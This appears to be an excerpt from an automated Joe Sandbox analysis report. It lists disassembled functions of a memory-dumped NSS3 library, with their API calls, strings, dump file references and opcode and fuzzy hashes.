Instruction Fuzzy Hash: 2711E2B17022409FFB008F1CDC44A6A77B8AB4635DF94843DDA0987BA1E731E808CBA1

Function 6CBF68E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CBF68FB
EnterCriticalSection.KERNEL32 ref: 6CBF6913
PORT_FreeArena_Util.NSS3 ref: 6CBF693E
PR_Unlock.NSS3 ref: 6CBF6946
DeleteCriticalSection.KERNEL32 ref: 6CBF6951
free.MOZGLUE ref: 6CBF695D
PR_Unlock.NSS3 ref: 6CBF6968

Part of subcall function 6CC9DD70: TlsGetValue.KERNEL32 ref: 6CC9DD8C
Part of subcall function 6CC9DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC9DDB4

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 6da919cfe85290dcc2ad93adcaa6ce1ec4d31e4a15b7563a3a7b20938f2eba99
Instruction ID: 8d83998a92fa5567855a5882042033e06723d9736114946e4a5b7e4ed990ad3b
Opcode Fuzzy Hash: 6da919cfe85290dcc2ad93adcaa6ce1ec4d31e4a15b7563a3a7b20938f2eba99
Instruction Fuzzy Hash: 6A114CB16046458FEB00BF78C48856DBBF8FF45648F018968DD98DB701EB30D499CB92

Function 6CC50FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51000
PR_NewLock.NSS3(?,00000800,6CBEEF74,00000000), ref: 6CC51016

Part of subcall function 6CCB98D0: calloc.MOZGLUE(00000001,00000084,6CBE0936,00000001,?,6CBE102C), ref: 6CCB98E5

PL_InitArenaPool.NSS3(00000000,security,6CBF87ED,00000008,?,00000800,6CBEEF74,00000000), ref: 6CC5102B
TlsGetValue.KERNEL32(00000000,?,?,6CBF87ED,00000800,6CBEEF74,00000000), ref: 6CC51044
free.MOZGLUE(00000000,?,00000800,6CBEEF74,00000000), ref: 6CC51064

Strings

security, xrefs: 6CC51025

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: 77193db5a6a97dac7cec53bf6482246e0df08b76465b1225cf782280b57cba22
Instruction ID: 45d70753afe3bbffec741864a2d946491e29d87e78fb2d375705881d235990bd
Opcode Fuzzy Hash: 77193db5a6a97dac7cec53bf6482246e0df08b76465b1225cf782280b57cba22
Instruction Fuzzy Hash: 17014830A0029057F7202F2D9C09B563A78BF86789F814116EA0896A52FB70C17ADBD9

Function 6CC81C60 Relevance: 10.5, APIs: 7, Instructions: 49COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC81C74

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

DeleteCriticalSection.KERNEL32(?), ref: 6CC81C92
free.MOZGLUE(?), ref: 6CC81C99
DeleteCriticalSection.KERNEL32(?), ref: 6CC81CCB
free.MOZGLUE(?), ref: 6CC81CD2

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: CriticalDeleteSectionfree$ErrorValue
String ID:
API String ID: 3805613680-0
Opcode ID: 18176ce785f7efacdffcd5d5175ab887f44470fba16f2096004c587d4288309b
Instruction ID: c3da306bfbc225bb3952fc6a3d8349ff5cb023394a4e397821e17077083e9452
Opcode Fuzzy Hash: 18176ce785f7efacdffcd5d5175ab887f44470fba16f2096004c587d4288309b
Instruction Fuzzy Hash: 0E0196B5F026205FFE20AFA9AC0DB4A3BFC670635CF900125E709A6B40F761910C4792

Function 6CCE1C40 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 45COMMON

Download Yara Rule

APIs

sqlite3_mprintf.NSS3(non-deterministic use of %s() in %s,?,a CHECK constraint,6CBE3D77,?,?,6CBE4E1D), ref: 6CCE1C8A
sqlite3_free.NSS3(00000000), ref: 6CCE1CB6

Strings

a generated column, xrefs: 6CCE1C6C
an index, xrefs: 6CCE1C67
a CHECK constraint, xrefs: 6CCE1C76, 6CCE1C81
non-deterministic use of %s() in %s, xrefs: 6CCE1C85

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: sqlite3_freesqlite3_mprintf
String ID: a CHECK constraint$a generated column$an index$non-deterministic use of %s() in %s
API String ID: 1840970956-3705377941
Opcode ID: e62efe5e352a153c41abcdadced87c59d65a10a1470d19075fe12fc09005839d
Instruction ID: 73344c525f9c5bc3f29aa9ebc782f748fdaa63daa1824214fba192dc8f3c45bd
Opcode Fuzzy Hash: e62efe5e352a153c41abcdadced87c59d65a10a1470d19075fe12fc09005839d
Instruction Fuzzy Hash: 5B0124B1A001405BE710AF2CD80297677E5EF8634CB15086DEE88CBB12EB26E85AC751

Function 6CD0C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CC81AB6,00000000,?,?,6CC807B9,?), ref: 6CD0C9C6
free.MOZGLUE(?,?,6CC807B9,?), ref: 6CD0C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CD0C9E5
free.MOZGLUE(?), ref: 6CD0C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CD0C9F8
free.MOZGLUE(?), ref: 6CD0C9FF
free.MOZGLUE(00000000), ref: 6CD0CA0B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 733be092fd7192d1783bf6a07161ef73c02e822d74729b848d5b651b0e789a27
Instruction ID: 5aa7de2976986d580650214ebaf4de72182054ab157d80815ee70db60c858934
Opcode Fuzzy Hash: 733be092fd7192d1783bf6a07161ef73c02e822d74729b848d5b651b0e789a27
Instruction Fuzzy Hash: E2014FB2600605ABEB10FFB4CC89867B7BCFE892A53044525EA46C3600D735F459CBE1

Function 6CC92E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC93046

Part of subcall function 6CC7EE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC7EE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CC67FFB), ref: 6CC9312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC93154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC92E8B

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Part of subcall function 6CC7F110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CC69BFF,?,00000000,00000000), ref: 6CC7F134

memcpy.VCRUNTIME140(8B3C75C0,?,6CC67FFA), ref: 6CC92EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC9317B

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 390cd3db7dab74e855444a450bf5206166b28d92e8d59c7c6a251fb7c8e2eaef
Instruction ID: 701ce1c8687ed628209c308f93966e127e5c9e051154d1fabb7102b604520e32
Opcode Fuzzy Hash: 390cd3db7dab74e855444a450bf5206166b28d92e8d59c7c6a251fb7c8e2eaef
Instruction Fuzzy Hash: 48A1AD71A002289FDB24CF54CC94BEAB7B5EF45308F048199E989A7741E771AD45CFA1

Function 6CC4A970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b8e789e37625e9db00ae04c869832e75312486a41924b105fff324a6b54a1dc
Instruction ID: a9599a5d729240e4cfe1e8dc620807be29e147824ade32d6fdcf3480e980e28d
Opcode Fuzzy Hash: 6b8e789e37625e9db00ae04c869832e75312486a41924b105fff324a6b54a1dc
Instruction Fuzzy Hash: 3F913B70D041684BDB25CE1988917DEB7B6AFCA30DF18C1F9C9A99BA01F6318D858F91

Function 6CC5ED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CC5ED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CC5EDCE

Part of subcall function 6CC50BE0: malloc.MOZGLUE(6CC48D2D,?,00000000,?), ref: 6CC50BF8
Part of subcall function 6CC50BE0: TlsGetValue.KERNEL32(6CC48D2D,?,00000000,?), ref: 6CC50C15

free.MOZGLUE(00000000,?,?,?,?,6CC5B04F), ref: 6CC5EE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC5EECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CC5EEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CC5EEFB

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: 535ff8c077da10ce7eb4539a11474326cc4fd26c6df4a29ee42e1b557dbfd5e9
Instruction ID: 55480b57f6fbf4bb4af7b92274dcada2340f1a5aa06f9840e753aad77c85035a
Opcode Fuzzy Hash: 535ff8c077da10ce7eb4539a11474326cc4fd26c6df4a29ee42e1b557dbfd5e9
Instruction Fuzzy Hash: 1E818AB1A002059FEB14CF59C884BABB7F5BF88308F54442CE9159B751EB79E834CBA5

Function 6CC5CCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC5C6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CC5DAE2,?), ref: 6CC5C6C2

PR_Now.NSS3 ref: 6CC5CD35

Part of subcall function 6CCB9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DC6
Part of subcall function 6CCB9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD00A27), ref: 6CCB9DD1
Part of subcall function 6CCB9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCB9DED

Part of subcall function 6CC46C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1C6F,00000000,00000004,?,?), ref: 6CC46C3F

PR_GetCurrentThread.NSS3 ref: 6CC5CD54

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

Part of subcall function 6CC47260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CBF1CCC,00000000,00000000,?,?), ref: 6CC4729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CC5CD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CC5CE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CC5CE2C

Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC510F3
Part of subcall function 6CC510C0: EnterCriticalSection.KERNEL32(?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5110C
Part of subcall function 6CC510C0: PL_ArenaAllocate.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51141
Part of subcall function 6CC510C0: PR_Unlock.NSS3(?,?,?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC51182
Part of subcall function 6CC510C0: TlsGetValue.KERNEL32(?,6CBF8802,00000000,00000008,?,6CBEEF74,00000000), ref: 6CC5119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CC5CE40

Part of subcall function 6CC514C0: TlsGetValue.KERNEL32 ref: 6CC514E0
Part of subcall function 6CC514C0: EnterCriticalSection.KERNEL32 ref: 6CC514F5
Part of subcall function 6CC514C0: PR_Unlock.NSS3 ref: 6CC5150D

Part of subcall function 6CC5CEE0: PORT_ArenaMark_Util.NSS3(?,6CC5CD93,?), ref: 6CC5CEEE
Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CC5CD93,?), ref: 6CC5CEFC
Part of subcall function 6CC5CEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CC5CD93,?), ref: 6CC5CF0B
Part of subcall function 6CC5CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CC5CD93,?), ref: 6CC5CF1D

Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF47
Part of subcall function 6CC5CEE0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF67
Part of subcall function 6CC5CEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,6CC5CD93,?,?,?,?,?,?,?,?,?,?,?,6CC5CD93,?), ref: 6CC5CF78

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Value$Item_Time$CopyCriticalEnterErrorFindMark_SectionSystemUnlock$AllocateCurrentFileGrow_Tag_ThreadUnothrow_t@std@@@Zfree__ehfuncinfo$??2@
String ID:
API String ID: 3748922049-0
Opcode ID: 13d701dc8e444fef3b2140bd18b81dc01bc38b3cb2e4c912e0d7f7aaa3afc8fe
Instruction ID: a4020d0a0bb95b1453ad1d53016f09072b76704d970ec5303c65d227f0408c50
Opcode Fuzzy Hash: 13d701dc8e444fef3b2140bd18b81dc01bc38b3cb2e4c912e0d7f7aaa3afc8fe
Instruction Fuzzy Hash: 6051ADB6B002009BEB10EF69DC44BAA73F4AF5C348F650524D949ABB40FB71E935CB95

Function 6CC56A70 Relevance: 9.1, APIs: 6, Instructions: 137COMMON

Download Yara Rule

APIs

DER_GetInteger_Util.NSS3(?), ref: 6CC56ABF

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Integer_Util
String ID:
API String ID: 2649942920-0
Opcode ID: 79b0ce37045d32067bed03fb0405c290ca9afa34f978544662f450546cad42e6
Instruction ID: 8c17cf12996cc901322ba9463994f3733dbebeb73e3925559804e1d6ef948df8
Opcode Fuzzy Hash: 79b0ce37045d32067bed03fb0405c290ca9afa34f978544662f450546cad42e6
Instruction Fuzzy Hash: 005118B0A01B048FEB248F25D941B967BE4BB08318F50492DE49ECBB52F731E465CB99

Function 6CC2EEF0 Relevance: 9.1, APIs: 6, Instructions: 124threadCOMMON

Download Yara Rule

APIs

PK11_Authenticate.NSS3(?,00000001,00000004), ref: 6CC2EF38

Part of subcall function 6CC19520: PK11_IsLoggedIn.NSS3(00000000,?,6CC4379E,?,00000001,?), ref: 6CC19542

PK11_Authenticate.NSS3(?,00000001,?), ref: 6CC2EF53

Part of subcall function 6CC34C20: TlsGetValue.KERNEL32 ref: 6CC34C4C
Part of subcall function 6CC34C20: EnterCriticalSection.KERNEL32(?), ref: 6CC34C60
Part of subcall function 6CC34C20: PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CA1
Part of subcall function 6CC34C20: TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 6CC34CBE
Part of subcall function 6CC34C20: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34CD2
Part of subcall function 6CC34C20: realloc.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC34D3A

PR_GetCurrentThread.NSS3 ref: 6CC2EF9E

Part of subcall function 6CCB9BF0: TlsGetValue.KERNEL32(?,?,?,6CD00A75), ref: 6CCB9C07

free.MOZGLUE(00000000), ref: 6CC2EFC3
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC2F016
free.MOZGLUE(00000000), ref: 6CC2F022

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: K11_Value$AuthenticateCriticalEnterSectionfree$CurrentErrorLoggedThreadUnlockrealloc
String ID:
API String ID: 2459274275-0
Opcode ID: 787960dc618f3c870b703711c3097a2868796766a407ccd9ad95aae6caf907a1
Instruction ID: 65ac9eef6c2d0a4a8ebeb8a2a877be77caa51098653f14bfe83f63fb4bf19194
Opcode Fuzzy Hash: 787960dc618f3c870b703711c3097a2868796766a407ccd9ad95aae6caf907a1
Instruction Fuzzy Hash: 7B418571E00109AFDF019FA9DC85BEEBBB9AF48358F044029F914A6750F775C9158BA1

Function 6CC04860 Relevance: 9.1, APIs: 6, Instructions: 121COMMON

Download Yara Rule

APIs

SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC04894

Part of subcall function 6CC4B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD218D0,?), ref: 6CC4B095

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC048CA
SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC048DD
SEC_QuickDERDecodeItem_Util.NSS3(00000000,?,?,?), ref: 6CC048FF
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CC04912
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC0494A

Part of subcall function 6CC9C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC9C2BF

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Util$AlgorithmTag_$DecodeErrorItem_Quick$Value
String ID:
API String ID: 759476665-0
Opcode ID: 5a055f2ac9bc2927718753080ae57d209c50cd4eb3d067efbf1c17e34ef8d606
Instruction ID: 83c52850e797843793ae6a6d5dc374652f7a4ab5cac903f1caaf9a317bc4e1a9
Opcode Fuzzy Hash: 5a055f2ac9bc2927718753080ae57d209c50cd4eb3d067efbf1c17e34ef8d606
Instruction Fuzzy Hash: 944191B1704705ABE700CF69D890BAB73E8AF94218F144A3CEA59D7B41F771D908CB52

Function 6CC88AF0 Relevance: 9.1, APIs: 6, Instructions: 120COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,00000000,?,?,6CC76F38), ref: 6CC88B0B
NSS_OptionGet.NSS3(00000008,?), ref: 6CC88B58
NSS_OptionGet.NSS3(00000009,?), ref: 6CC88B6A
NSS_GetAlgorithmPolicy.NSS3(00000159,00000000,?,?,00000000,?,?,6CC76F38), ref: 6CC88BBB
NSS_OptionGet.NSS3(0000000A,?), ref: 6CC88C08
NSS_OptionGet.NSS3(0000000B,?), ref: 6CC88C1A

Memory Dump Source

Source File: 00000000.00000002.2523102459.000000006CB71000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB70000, based on PE: true

Associated: 00000000.00000002.2523076421.000000006CB70000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523239929.000000006CD0F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523279005.000000006CD4E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523300055.000000006CD4F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523320157.000000006CD50000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2523340768.000000006CD55000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb70000_file.jbxd

Similarity

API ID: Option$AlgorithmPolicy
String ID:
API String ID: 927613807-0
